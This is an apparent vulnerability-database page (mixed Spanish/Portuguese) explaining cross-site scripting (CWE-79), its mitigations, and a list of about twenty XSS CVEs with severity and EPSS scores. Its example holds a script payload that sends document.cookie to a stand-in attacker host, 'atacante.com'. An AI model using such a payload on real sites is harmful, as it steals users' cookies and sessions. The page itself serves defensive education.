Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-24554HIGHWordPress AWcode Toolkit plugin <= 1.0.14 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64601MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-48107HIGHWordPress Uncode theme < 2.9.4.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-53426HIGHWordPress Likert Survey Master plugin <= 0.8.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-56356MEDIUMn8n - Stored Cross-Site Scripting in Chat Trigger Node Custom CSS FieldEPSS 0.3%CVE-2025-49413HIGHWordPress Super Store Finder Plugin <= 7.6 - Reflected Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-64543MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-12834MEDIUMAccept Stripe Payments Using Contact Form 7 <= 3.1 - Reflected Cross-Site Scripting via failure_messageEPSS 0.2%CVE-2026-22388MEDIUMWordPress Owl Carousel WP plugin <= 2.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-28975HIGHWordPress Alike - WordPress Custom Post Comparison <= 3.0.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2024-30419MEDIUMCross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12, Ver.3.0.x series versions prior to VeEPSS 0.2%CVE-2025-13895MEDIUMTop Position Google Finance <= 0.1.0 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2026-46367HIGHphpMyFAQ - Stored XSS via Utils::parseUrl() in Comment RenderingEPSS 0.2%CVE-2025-3191MEDIUMAll versions of the package react-draft-wysiwyg are vulnerable to Cross-site Scripting (XSS) via the Embedded button which will then result EPSS 0.2%CVE-2025-28999HIGHWordPress WooCommerce Shop Page Builder <= 2.27.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2022-43575MEDIUMIBM Aspera Console cross-site scriptingEPSS 0.2%CVE-2024-44120MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Enterprise PortalEPSS 0.2%CVE-2025-12077MEDIUMWP to LinkedIn Auto Publish <= 1.9.8 - Reflected Cross-Site Scripting via PostMessageEPSS 0.2%CVE-2025-67496MEDIUMWeGia is Vulnerable to XSS through id_pessoa Parameter on Password Configuration PageEPSS 0.2%CVE-2025-13988MEDIUM评论小秘书 <= 1.3.2 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']EPSS 0.2%